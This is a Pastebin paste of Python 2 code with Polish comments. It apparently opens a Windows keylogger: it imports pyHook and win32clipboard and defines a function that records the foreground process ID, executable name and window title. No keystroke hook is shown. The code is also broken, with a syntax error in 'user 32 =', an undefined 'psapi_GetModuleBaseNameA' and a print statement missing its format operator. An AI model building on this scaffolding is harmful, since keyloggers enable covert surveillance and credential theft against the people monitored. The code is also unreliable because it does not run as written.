Advertisement
Guest User

Untitled

a guest
Aug 25th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.06 KB | None | 0 0
  1. from ctypes import *
  2. import pythoncom
  3. import pyHook
  4. import win32clipboard
  5.  
  6. user 32 = windll.user32
  7. kernel32 = windll.kernel32
  8. psapi = windll.psapi
  9. current_window = None
  10.  
  11. def get_current_process():
  12.     #uchwyt do pierwszoplanowego okna
  13.     hwnd = user32.GetForegroundWindow()
  14.  
  15.     #sprawdzanie identyfikatora procesu
  16.     pid = c_ulong(0)
  17.     user32.GetWindowThreadProcessId(hwnd, byref(pid))
  18.  
  19.     #zapisanie identyfikatora bieżącego procesu
  20.     process_id = "%d" %pid.value
  21.  
  22.     #pobranie pliku wykonywalnego
  23.     executable = create_string_buffer("\x00" * 512)
  24.     h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
  25.    
  26.     psapi_GetModuleBaseNameA(h_process, None, byref(executable), 512)
  27.  
  28.     #odczytanie jego tytułu
  29.     window_title = create_string_buffer("\x00" * 512)
  30.     length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
  31.    
  32.     #wydruk nagłówka, jeśli jesteśmy w odpowiednim procesie
  33.     print
  34.     print "[ PID: %s - %s - %s ]" (process_id, executable.value, window_title.value)
  35.     print
  36.  
  37.     #zamknięcie uchwytów
  38.     kernel32.CloseHandle(hwnd)
  39.     kernel32.CloseHandle(h_process)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement